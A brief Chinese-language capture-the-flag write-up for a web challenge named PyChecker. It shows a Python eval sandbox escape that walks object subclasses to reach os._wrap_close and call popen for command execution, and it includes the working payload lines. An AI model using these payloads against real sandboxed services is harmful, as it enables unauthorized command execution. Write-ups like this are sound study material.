Web - PyChecker Writeup
分析附件
ns = {'__builtins__': {}} 禁用了所有的内置函数
用eval执行 但是所有内置函数被step over
沙箱逃逸
加载子类 把子类列表转字符串 作为错误信息打印
1 | def dump(_ = {}['{}'.format((0).__class__.__base__.__subclasses__())]): |

从子类列表找os.wrap_close的位次 index=166
加载os.wrap_close 调用popen 实现RCE
1 | def rce(_ = {}[(0).__class__.__base__.__subclasses__()[166].__init__.__globals__['popen']('ls /').read()]): |
最终在/home/ctf找到flag
感谢出题人审阅 辛苦了